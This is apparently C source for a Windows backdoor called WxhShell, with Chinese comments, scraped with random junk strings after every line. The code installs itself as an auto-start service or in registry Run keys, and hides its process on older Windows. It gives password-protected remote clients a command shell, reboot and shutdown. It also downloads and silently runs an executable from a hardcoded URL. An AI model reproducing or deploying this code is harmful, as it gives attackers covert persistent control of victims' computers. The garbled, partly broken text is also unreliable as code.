    ExitThread(0); N}'2GBqfU4  
    } o}Q3mCB  
    break; +o K*5 Y  
    } I(qFIV+H R  
  // 关机 $g }aH(vf  
  case 'd': { 5M#L O@U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /Uni6O)oc  
    if(Boot(SHUTDOWN)) 4V'HPD>=V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:*l+<?  
    else { "6i3'jc`  
    closesocket(wsh); RVh{wg  
    ExitThread(0); Upz?x{>x  
    } 5wC,:c[H7  
    break; Bk/&H-NI  
    }  ^]?ju L  
  // 获取shell tcJN`N  
  case 's': { rw[Ioyr-  
    CmdShell(wsh); yVyh\u\  
    closesocket(wsh); o`Q.;1(Y'  
    ExitThread(0); G BM8:IG \  
    break; c'wU$xt.w  
  } @ el  
  // 退出 )D&xyC}  
  case 'x': { ]$I}r= Em  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A}(o1wuw  
    CloseIt(wsh); !gJw?(8"  
    break; -[[( Zx  
    } cVDcda|PE  
  // 离开 v4F+^0?  
  case 'q': { e s<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LHSbc!Y'.  
    closesocket(wsh); ;?%_jB$P  
    WSACleanup(); "NTiQ}i  
    exit(1); 0!M'z  
    break; E@4/<;eKK  
        } \;JZt[  
  } \jx3Fs:Q  
  } ]88qjKL  
0e1-ZP CDj  
  // 提示信息 Z}.ZTEB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;RYIc0%  
} .AZwVP<  
  } iU AY  
!@ {sM6U  
  return; oXU b_/  
} /@I`V?Q!a  
qQ 8+gZG$R  
// shell模块句柄 /i#";~sO  
int CmdShell(SOCKET sock) L$,yEMCe  
{ M{4XNE]m  
STARTUPINFO si; gFsqCx<q  
ZeroMemory(&si,sizeof(si)); o7@C$R_#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W2'!Pc,W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 73Hm:"Eqd  
PROCESS_INFORMATION ProcessInfo; P>(FCX  
char cmdline[]="cmd"; Xt +9z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $m A2 AI  
  return 0; r-.>3J  
} <_#2+7Qs  
dFy GI?  
// 自身启动模式 pTXF^:8  
int StartFromService(void) gtePo[ZH.P  
{ 7*"Jx}eM  
typedef struct _*MK"  
{ YoBe!-E  
  DWORD ExitStatus; SMzq,?-`  
  DWORD PebBaseAddress; W/AF  
  DWORD AffinityMask; 6q6xqr:W  
  DWORD BasePriority; jFUpf.v2  
  ULONG UniqueProcessId; 8QoxU" c&  
  ULONG InheritedFromUniqueProcessId; ,~DV0#"  
}   PROCESS_BASIC_INFORMATION; niKfat?  
2TNK  
PROCNTQSIP NtQueryInformationProcess; PjH'5Y  
cv G*p||  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fk^N7EJ:$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *@ H\J e`  
gu+zfvkcY  
  HANDLE             hProcess; {_/o' 6  
  PROCESS_BASIC_INFORMATION pbi; q=Vh"]0g  
@Z2np{X:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WTJ{M$  
  if(NULL == hInst ) return 0; E2d'P  
uYWD.]X;[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QXN_ ?E,g/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &K{8- t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J=k=cFUX  
9)NKI02M|  
  if (!NtQueryInformationProcess) return 0; -z0;4O (K]  
23WrJM!2N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w"wW0uE^  
  if(!hProcess) return 0; f:ObI  
`Z8k#z'bN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %^L{K[}  
brs`R#e \  
  CloseHandle(hProcess); \yC/OLXq  
-(]C FnD_N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?-vWNv  
if(hProcess==NULL) return 0; q]I aRho  
)c{>@WM~  
HMODULE hMod; ^n(FO,8c  
char procName[255]; UaF~[toX  
unsigned long cbNeeded; DZtpY {=Z  
BEvY&3%l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HFZ'xp|3dn  
@$ Zh^+x!  
  CloseHandle(hProcess); 8c+V$rH_  
d#a/J.Z$A  
if(strstr(procName,"services")) return 1; // 以服务启动 T+ZA"i+  
,MNv}w@  
  return 0; // 注册表启动 e;"J,7@  
} n@RmH>"  
$Dj8 a\L  
// 主模块 M7cD!s@'I  
int StartWxhshell(LPSTR lpCmdLine) ?$ e]K/*  
{ gVfFEF.  
  SOCKET wsl; A}(]J!rc  
BOOL val=TRUE; 1 >j,v+  
  int port=0; $t):r@L  
  struct sockaddr_in door; 5MaN {*)l  
Q_0+N3  
  if(wscfg.ws_autoins) Install(); z7bJV/f  
~3?-l/$  
port=atoi(lpCmdLine); AAlc %d/9  
mG&A_/e!9  
if(port<=0) port=wscfg.ws_port; oxlor,lw/  
$qQYxx@  
  WSADATA data; ,r w4Lo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I]v2-rB&-  
S@HC$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C!*!n^qA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q^Cm3|ZO  
  door.sin_family = AF_INET; >0{}tRm-P&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q:(mK* _  
  door.sin_port = htons(port); ?n `m  
Y7}Tuy dC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P[ :_"4U  
closesocket(wsl); ls^Z"9P  
return 1; iQgg[ )  
} PR.3EL  
z!"vez  
  if(listen(wsl,2) == INVALID_SOCKET) { }8ubGMr,Y  
closesocket(wsl); aZ4EcQ@-$]  
return 1; -+rzc&h  
} smf"F\W s  
  Wxhshell(wsl); (?|M'gZ  
  WSACleanup(); 90<g=B  
*H QcI-  
return 0; ApCU|*r)  
2IJK0w@  
} Y~I<Locv  
p@Y=6Bw  
// 以NT服务方式启动 FOXSs8"c]!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B}iEhWO6  
{ q Q\j  
DWORD   status = 0; m\`>N_4*9  
  DWORD   specificError = 0xfffffff; P1-eDHYw  
M|*YeVs9#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0B`X056|"|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8>v_th  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8<6H2~5<  
  serviceStatus.dwWin32ExitCode     = 0; 3v8LzS3@  
  serviceStatus.dwServiceSpecificExitCode = 0; 1r;zA<<%R  
  serviceStatus.dwCheckPoint       = 0; Nc:s+ o  
  serviceStatus.dwWaitHint       = 0; pE5v~~9Ikv  
>pv.,cj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vF27+/2+R  
  if (hServiceStatusHandle==0) return; k;l3^kTy  
6X \g7bg  
status = GetLastError(); KNVu[P)rv  
  if (status!=NO_ERROR) G *CPj^O  
{ N''QQBUD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R BYhU55B  
    serviceStatus.dwCheckPoint       = 0; %2\Hj0JQQ  
    serviceStatus.dwWaitHint       = 0; }t H$:Z  
    serviceStatus.dwWin32ExitCode     = status; PF%-fbh!~  
    serviceStatus.dwServiceSpecificExitCode = specificError; b:dN )m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |toP8 6  
    return; 40t xZFQ0  
  } N,(!   
/I%z7f91O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * ,hhX psa  
  serviceStatus.dwCheckPoint       = 0; HlGSt$woX  
  serviceStatus.dwWaitHint       = 0; -o ).<&#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qe0D[L  
} KdVKvs[  
|mEWN/@C  
// 处理NT服务事件,比如:启动、停止 !}&|a~U@`k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^""edCs  
{ cQU/z"?+  
switch(fdwControl) |+#Zuq  
{ >e;-$$e  
case SERVICE_CONTROL_STOP: =X$ieXq|  
  serviceStatus.dwWin32ExitCode = 0; oZ'a}kF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :{7+[LcH7  
  serviceStatus.dwCheckPoint   = 0;  W2vL<  
  serviceStatus.dwWaitHint     = 0; ? #K|l*  
  { WZ CI*'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9zp!lw~;+  
  } zx.qN  
  return; `Q@7,z=f  
case SERVICE_CONTROL_PAUSE: S6~y!J6Ok4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IKD{3cVL  
  break; fQ<sq0' e\  
case SERVICE_CONTROL_CONTINUE: ZEqW*piI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -,J<X\  
  break; yJA~4  
case SERVICE_CONTROL_INTERROGATE: >xFvfuyC  
  break; 78& |^sq  
}; ) c@gRb~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kCBtK?g  
} -Jd|H*wWo  
 E]V, @  
// 标准应用程序主函数 OH`a3E{e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rh=" <'d  
{ Kd\0nf6  
 }k^uup*{  
// 获取操作系统版本 8`4M4" lj  
OsIsNt=GetOsVer(); !cW rB9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :'%6  
h]4xS?6O  
  // 从命令行安装 %|-N{>wKy  
  if(strpbrk(lpCmdLine,"iI")) Install(); iq&3S0  
0z8(9DlTc  
  // 下载执行文件 T4eJ:u*;  
if(wscfg.ws_downexe) { )2f#@0SVL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (.J/Ql0Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); T7[@ lMa?  
} s^k G]7  
 |$Yk)z3  
if(!OsIsNt) { d4Uw+3ikW  
// 如果时win9x,隐藏进程并且设置为注册表启动 i<uU_g'M  
HideProc(); DB vM.'b$  
StartWxhshell(lpCmdLine); =EJ&=t  
} =G-OIu+H!U  
else 15:9JVH3D  
  if(StartFromService()) )nN!% |J  
  // 以服务方式启动 YvY|\2^K  
  StartServiceCtrlDispatcher(DispatchTable); )nm+_U  
else >y%H2][  
  // 普通方式启动 8hGyh#  
  StartWxhshell(lpCmdLine); :jiEn y  
+gl\l?>sr  
return 0; ~Ntk -p  
} \@Wv{0a(  
.f~9IAXP`  
} z'Jsy[s  
axQ>~v WN/  
=========================================== %i9S"  
(HNc9QVC'W  
Fa("Gok[  
AR| 4^  
]\yIHdcDi  
Tm %5:/<8  
" *byUqY3(  
]E9iaq6Z  
#include <stdio.h> J*@pM  
#include <string.h> wNa5qp 0  
#include <windows.h> Ez1eGPVr  
#include <winsock2.h> ,%pCcM)  
#include <winsvc.h> 8h] TI_  
#include <urlmon.h> _c>iux;  
^ :VH?I=  
#pragma comment (lib, "Ws2_32.lib") .@H:P  
#pragma comment (lib, "urlmon.lib") "L>'X22ed  
Vgm*5a6t  
#define MAX_USER   100 // 最大客户端连接数 #`Su3~T=S  
#define BUF_SOCK   200 // sock buffer 8xy8/UBIk0  
#define KEY_BUFF   255 // 输入 buffer V]zZb-m=  
*Y>w0k  
#define REBOOT     0   // 重启 ! ._q8q\  
#define SHUTDOWN   1   // 关机 ZU 3Psj  
Y3 $jNuV  
#define DEF_PORT   5000 // 监听端口 UyGo0POW  
4[lFur H  
#define REG_LEN     16   // 注册表键长度 p4T$(]7  
#define SVC_LEN     80   // NT服务名长度 dGZie .Zx  
-Y_, .'ex  
// 从dll定义API J v}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <Jgcj 4D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1I%u)[;>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nj9A-*0g6N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0U=wGI O  
:jTSO d[r  
// wxhshell配置信息 "#C2+SKM1  
struct WSCFG { ZTR9e\F  
  int ws_port;         // 监听端口 xpdpD  
  char ws_passstr[REG_LEN]; // 口令 ^50dF:V(1  
  int ws_autoins;       // 安装标记, 1=yes 0=no qzW3MlD  
  char ws_regname[REG_LEN]; // 注册表键名 x80IS:TP  
  char ws_svcname[REG_LEN]; // 服务名 R+LKa Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [t4v/vQT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JxIJxhA>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]p!{   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5dj" UxH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dg&6@c|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v3r3$(Hr  
-6[DQB  
}; .UP h  
J&8KIOz14Z  
// default Wxhshell configuration m?w_ ]  
struct WSCFG wscfg={DEF_PORT, h'*v$lt  
    "xuhuanlingzhe", V k{;g  
    1, =|oi0  
    "Wxhshell", Gxw1P@<F:  
    "Wxhshell",  sS-dHa  
            "WxhShell Service", 5/"$ _7"{a  
    "Wrsky Windows CmdShell Service", xF8r+{_J)  
    "Please Input Your Password: ", qFmw9\Fn  
  1, 9q'&tU'a=c  
  "http://www.wrsky.com/wxhshell.exe", ^_]ZZin  
  "Wxhshell.exe" J*;RL`  
    }; rUI?{CV  
k%6CkC w  
// 消息定义模块 <Y yE1 |  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?X@!jB,Pv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8^>qor.]M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a{`hAI${  
char *msg_ws_ext="\n\rExit."; ~nA k-toJ  
char *msg_ws_end="\n\rQuit."; !1l~UB_  
char *msg_ws_boot="\n\rReboot..."; <K0epED  
char *msg_ws_poff="\n\rShutdown..."; !Se0&Ob  
char *msg_ws_down="\n\rSave to "; G^.N$wcv  
JI>Y?1i0O  
char *msg_ws_err="\n\rErr!"; rqjq}L)  
char *msg_ws_ok="\n\rOK!"; @f-:C+(Nsg  
4aHogheg  
char ExeFile[MAX_PATH]; 4\n ~  
int nUser = 0; ep6+YK:cn  
HANDLE handles[MAX_USER]; rI>x'0Go*  
int OsIsNt; FJ3S  
">[#Ops-;$  
SERVICE_STATUS       serviceStatus; mi=mwN%UB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7DAP_C  
h ;*x1BVE  
// 函数声明 }5+^  
int Install(void); t 'eaR-  
int Uninstall(void); xSudDhRP  
int DownloadFile(char *sURL, SOCKET wsh); Ro<779.Gn\  
int Boot(int flag); %Y&48''"  
void HideProc(void); ]Q"T8drL  
int GetOsVer(void); T<n`i~~  
int Wxhshell(SOCKET wsl); $9G& wH>{  
void TalkWithClient(void *cs); .`IhxE~mN  
int CmdShell(SOCKET sock); 8"&!3_  
int StartFromService(void); \HO)ss)"  
int StartWxhshell(LPSTR lpCmdLine); GlJ[rD  
s,Gl{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cfi4~&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~:Rbd9IB  
%6[,a  
// 数据结构和表定义 p)SW(pS  
SERVICE_TABLE_ENTRY DispatchTable[] = .?u<|4jE6  
{ RZHfT0*jL  
{wscfg.ws_svcname, NTServiceMain}, vaeQ}F  
{NULL, NULL} K$Bv4_|x  
}; IP`lx  
nL?P/ \  
// 自我安装 JRB6T_U  
int Install(void) af|h4.A  
{ J_7w _T/  
  char svExeFile[MAX_PATH]; obvE m[x!Z  
  HKEY key; :of([e|u6  
  strcpy(svExeFile,ExeFile); Ts.2\-+3  
:aOR@])>o  
// 如果是win9x系统,修改注册表设为自启动 6 ) i-S<(  
if(!OsIsNt) { fizW\f8ai  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ykC3Z<pI.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '@Uu/~;h  
  RegCloseKey(key); u.yR oZ8/!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r:sa|+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fd4gB6>  
  RegCloseKey(key); L!:NL#M  
  return 0; pEwo}NS*H  
    } WD%(RC"Q  
  } -1 dD~S$  
} uBts?02  
else { b"X1  
b"$?(Y  
// 如果是NT以上系统,安装为系统服务 <Z.`X7]Uk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wnC-~&+6  
if (schSCManager!=0) @A6iY  
{ :WRD<D_4  
  SC_HANDLE schService = CreateService hr]+ 4!/  
  ( WdOxwsq"  
  schSCManager, qeMDC#N  
  wscfg.ws_svcname, #U-y<[ 3  
  wscfg.ws_svcdisp, >8/Otg+h  
  SERVICE_ALL_ACCESS, s O#cJAfuu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B!mHO*g  
  SERVICE_AUTO_START, HsYzIQLL  
  SERVICE_ERROR_NORMAL, BP j?l  
  svExeFile, koT3~FK  
  NULL, 1)c{;x& W  
  NULL, WzFXF{(  
  NULL, oQ,n?on  
  NULL, 6{;6~?U  
  NULL O^\:J 2I(  
  ); m|fcWN[  
  if (schService!=0) FV9{u[3m  
  { Mo@{1K/9  
  CloseServiceHandle(schService); T%.Y so{  
  CloseServiceHandle(schSCManager); 1^^{;R7N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eTjPztdJbx  
  strcat(svExeFile,wscfg.ws_svcname); NUM!'+H_h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  p[&J l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a)W|gx6Y  
  RegCloseKey(key); ^nZ=B>Yn2  
  return 0; >&HW6 c  
    } PI L)(%X  
  } GTB\95j]  
  CloseServiceHandle(schSCManager); (su7*$wV  
} _886>^b@  
} ;S^"Y:7)  
P 4)Q5r  
return 1; }s?3   
} VEa"^{,w  
R/1e/t  
// 自我卸载 fahQ^#&d`  
int Uninstall(void) 7}qxWz  
{ a 7v^o`  
  HKEY key; ta.Lq8/  
7>im2"zm  
if(!OsIsNt) { mK TF@DED  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w!*ZS~v/r  
  RegDeleteValue(key,wscfg.ws_regname); EyR/   
  RegCloseKey(key); ]UIN4E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +uF}mZ S^  
  RegDeleteValue(key,wscfg.ws_regname); 7 `~0j6FY  
  RegCloseKey(key); nv0D4 t  
  return 0; J|jvqt9C  
  } 5G6 Pp7[  
} X)(K|[  
} P;(@"gD8z5  
else { 3R$R?^G  
noaR3)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @Wd (>*"zw  
if (schSCManager!=0) 'N6oXE  
{ wGMoh.GTh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8T.bT6  
  if (schService!=0) ":e6s co  
  { GYy8kp84  
  if(DeleteService(schService)!=0) { `tO t+>YWn  
  CloseServiceHandle(schService); *eD[[HbKX  
  CloseServiceHandle(schSCManager); x| D|d}  
  return 0; {8":c n j  
  } b!MN QGs  
  CloseServiceHandle(schService); KBi(Ns#+  
  } +5-|6  
  CloseServiceHandle(schSCManager); jB9~'>JY  
} }X])055S  
} X:f5t`;  
kDJqT  
return 1; 'G[G;?F  
} vnf2Z,f%  
,d!@5d&Zi  
// 从指定url下载文件 xIc||o$  
int DownloadFile(char *sURL, SOCKET wsh) lZkJ<*z#  
{ sJQ~ :p0e  
  HRESULT hr; 4uE )*1  
char seps[]= "/"; Y1AZ%{^0a  
char *token; "IpbR  
char *file; lV3k4iRH  
char myURL[MAX_PATH]; T6?03cSE  
char myFILE[MAX_PATH]; 1W.oRD&8j/  
J 7dHD(R8  
strcpy(myURL,sURL); 1bz^$2/k  
  token=strtok(myURL,seps); O,+9r_Gh  
  while(token!=NULL) zZY1E@~  
  { 2ER_?y  
    file=token; KDf#e3  
  token=strtok(NULL,seps); L>Ze*dt  
  } 2!9W:I7  
qxyY2&  
GetCurrentDirectory(MAX_PATH,myFILE); XdzC/ {G  
strcat(myFILE, "\\"); f;+.j/ +  
strcat(myFILE, file); )_Hv9!U]e  
  send(wsh,myFILE,strlen(myFILE),0); 3,!IV"_  
send(wsh,"...",3,0); h1B_*L   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Lbwfd=  
  if(hr==S_OK) PxWH)4  
return 0; AU}|o0Ur  
else D;48VK/Q  
return 1; HsRoiqo  
Jv%)UR.]  
} ?#doH,  
>pol'=  
// 系统电源模块 _TJk Yz$  
int Boot(int flag) s/3sOb}sA  
{ ]A+t@/k  
  HANDLE hToken; Q?>*h xzoP  
  TOKEN_PRIVILEGES tkp; ;Hp78!#,  
bz,"TG[  
  if(OsIsNt) { c8_,S[W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )Fqtb;W=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cdI"=B+C\  
    tkp.PrivilegeCount = 1; t82*rC IB{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gH"a MEC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _S* QIbO  
if(flag==REBOOT) { ,Cy&tRjR B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 UQBIrQ  
  return 0; d;3f80Kd*  
} { q&`B  
else { u2':~h?l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Hv d  
  return 0; ^|!\IzDp  
} plzwk>b_  
  } 4VA]S  
  else { :4\_upRE  
if(flag==REBOOT) { qr*e9Uk^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jcp=<z*0  
  return 0; {=Py|N \\t  
} i1HO>X:ea  
else { bDegIW/'w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %yR 80mn8  
  return 0; {-|El}.M  
} o 7V&HJ[  
} $ Fy)+<  
&k(tDP  
return 1; SS;'g4h\6  
} Lk)TK/JM)  
v=IcVHuf  
// win9x进程隐藏模块 zHW&i~  
void HideProc(void) nF 'U*  
{ +:J:S"G  
E/d\ebX|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lf Y[Z4  
  if ( hKernel != NULL ) 8nSw7:z  
  { )9!J $q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JgldC[|7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,nw5 M.D_  
    FreeLibrary(hKernel); ;tZ8Sh)  
  } woU3WS0  
fa/p  
return; 1n $  
} +C4NhA2  
r+MqjdXG  
// 获取操作系统版本 t\ 9Y)d  
int GetOsVer(void) ZB,UQ~!Yr  
{ 3TKl  
  OSVERSIONINFO winfo; (`f)Tt=`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3cFvS[JG  
  GetVersionEx(&winfo); x=1Sbs w{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SsIN@  
  return 1; ,\PTn7_  
  else :-b-)*TC;  
  return 0; 3^F1hCB  
} Wp= &nh  
CDFkH  
// 客户端句柄模块 leJ3-w{ 2  
int Wxhshell(SOCKET wsl) h)?Km{u%  
{ M3q7{w*bM  
  SOCKET wsh; Lor__ K  
  struct sockaddr_in client; 1h?:gOig  
  DWORD myID; EJ Ta~  
I8:G:s:  
  while(nUser<MAX_USER) .@f )#2  
{ UeSPwY  
  int nSize=sizeof(client); 1++Fs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R #m1Aa  
  if(wsh==INVALID_SOCKET) return 1; S2 YxA  
NJ!}(=1|K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1);E!D[  
if(handles[nUser]==0) h,2?+}Fn  
  closesocket(wsh); T;B/ Wm!x  
else izr 3{y5  
  nUser++; ~fly6j|u  
  } fH;lh-   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g+u5u\k  
@S  Quc  
  return 0; ;+VHi%5Z  
} lKy4Nry9  
 7e@Bkq0)  
// 关闭 socket wEbO|S+K1  
void CloseIt(SOCKET wsh) _1HEGX\  
{ coc :$Sr%  
closesocket(wsh); G)y'exk  
nUser--; `k'Dm:*`u4  
ExitThread(0); %J|xPp)  
} hUMFfc ?  
e\i}@]  
// 客户端请求句柄 3a6  
void TalkWithClient(void *cs) Hbz,3{o5  
{ ; WsV.n  
K/XUF#^B]  
  SOCKET wsh=(SOCKET)cs; #h7 $b@  
  char pwd[SVC_LEN]; 0'tm.,  
  char cmd[KEY_BUFF]; ? 1b*9G%i  
char chr[1]; 4 {3< `  
int i,j; 08E,U  
:vy./83W  
  while (nUser < MAX_USER) { v`u>; S_  
=J&aN1Hgt  
if(wscfg.ws_passstr) { O7tL,)Vv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D z5(v1I9A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E 5bo60z  
  //ZeroMemory(pwd,KEY_BUFF); =)y=39&;/  
      i=0; h}(GOY S)  
  while(i<SVC_LEN) { 4\EvJg@Z.  
3q0^7)m0  
  // 设置超时 ]$96#}7N  
  fd_set FdRead; ZE>!]# ,  
  struct timeval TimeOut; FUU/=)^P$  
  FD_ZERO(&FdRead); AehkEN&H/t  
  FD_SET(wsh,&FdRead); -)ag9{*  
  TimeOut.tv_sec=8; * ;C8g{  
  TimeOut.tv_usec=0; LC:bHM, e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vdN0YCXG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K=C).5=U  
#>byP?)n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l<mEGKB#  
  pwd=chr[0]; 8q& *tpE  
  if(chr[0]==0xd || chr[0]==0xa) { = g)G!  
  pwd=0; (KxL*gB  
  break; Z'sO9Sg8>  
  } vVi))%&S(  
  i++; -'!%\E;5  
    } [,fdNxc8  
.8%mi'0ud  
  // 如果是非法用户,关闭 socket r'ydjy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {1ic* cZS  
} NCM&6<_  
%Sdzr!I7*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _}B:SM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [oQ&}3\XJ  
k99ANW  
while(1) { ;|LS$O1c  
7E9h!<5v  
  ZeroMemory(cmd,KEY_BUFF); ?=uw0~O[  
txwTJScg  
      // 自动支持客户端 telnet标准   ^f,('0p- >  
  j=0; :bA@ u>  
  while(j<KEY_BUFF) { emV@kN.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1!E+(Iq  
  cmd[j]=chr[0]; FT* o;&_QS  
  if(chr[0]==0xa || chr[0]==0xd) {  o2ndnIL  
  cmd[j]=0; 7^~pOFdH  
  break; WqC6 c&NM  
  } &:` 7  
  j++; fodr1M4J  
    } a]465FY  
I/s?] v  
  // 下载文件 o " x& F  
  if(strstr(cmd,"http://")) { 4565U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pAV}hB  
  if(DownloadFile(cmd,wsh)) -< 7KW0CA  
